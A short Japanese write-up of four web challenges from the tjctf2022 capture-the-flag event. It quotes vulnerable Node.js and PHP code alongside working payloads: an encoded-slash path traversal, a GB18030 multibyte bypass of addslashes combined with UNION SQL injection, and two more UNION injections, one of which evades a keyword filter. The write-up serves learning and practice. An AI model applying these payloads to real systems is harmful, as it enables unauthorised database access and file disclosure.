tjctf2022 writeup
photoable
imageidにディレクトリトラバーサルしそうな文字列を入れたらflagが入手できそうなことがわかる
app.get("/image/:imageid/download", (req, res) => {
let { imageid } = req.params;
res.sendFile(path.join(__dirname, `photobucket/${getFileName(imageid)}`));
});
愚直に/image/../flag.txt/download
とするとアクセスができない
内部でディレクトリトラバーサルされるように/をエンコードし、/image/..%2fflag.txt/download
とすることでflagを入手
analects
initファイルを見ているとflagがflagテーブルに流されることがわかる
#!/bin/bash
cd /docker-entrypoint-initdb.d
if [ -f flag.txt ]; then
read flag < flag.txt
mysql -u root -p"$MYSQL_ROOT_PASSWORD" analects -e "UPDATE flag SET flag='$flag';"
fi
ソースコードを見るとSQLi出来そうな箇所が見つかる
$query = addslashes($_GET["q"]);
$sql = "SELECT * FROM analects WHERE chinese LIKE '%{$query}%' OR english LIKE '%{$query}%'";
$result = $db->query($sql);
しかしaddslashes関数が入っているため処理が必要そう
どうやら文字コードがGB18030らしく、addslashesをすり抜けることができる
%bf%5c'でシングルクオートをバイパス、その後unionでクエリを書いて%23で#?コメントアウトしておしまい
https://analects.tjc.tf/search.php?q=%61%bf%5c'union select 1,1,1,1,1,flag from flag%23
ascordle
wordleが解ければflagがレスポンスに含まれる
if (checkWord(word)) {
return res.json({
check: true,
flag: flag,
sql: false,
colors: right,
})
}
const checkWord = (word) => {
const query = db.prepare(`SELECT * FROM answer WHERE word = '${word}'`)
return typeof query.get() !== 'undefined'
}
SQLの検索結果が一つでも返ってくればcheckWordがtrueを返すためSQLiで一つでも返すようにさせようと考えたが、内部のwaf関数でOR or -- = > <が弾かれる
そのため、unionを用いてanswerテーブルを結合させた
hoge' union select * from answer '
シングルクオートを合わせておしまい
game-leaderboard
app.get('/user/:userID', (req, res) => {
const leaderboard = getLeaderboard()
const total = leaderboard.length
const profile = leaderboard.find(x => x.profile_id == req.params.userID)
if (typeof profile === 'undefined') {
return res.render('user_info', { notFound: true })
}
const flag = (profile.rank === 1) ? FLAG : 'This is reserved for winners only!'
return res.render('user_info', { total, flag, ...profile })
})
ソースコードを見るとuserIDのrankが1であればflagが入手できることがわかる
しかしuserIDがわからない
SQLi出来そうな箇所があるのでuserID(profile_id)を入手
const where = (typeof minScore !== 'undefined' && minScore !== '') ? ` WHERE score > ${minScore}` : ''
const query = `SELECT profile_id, name, score FROM leaderboard${where} ORDER BY score DESC`
const stmt = db.prepare(query)
-1000 union all select score, name, profile_id from leaderboard --
(後ろ2つのカラムがフロントに表示されるのでprofile_idの位置を元のクエリと変更している)
Discussion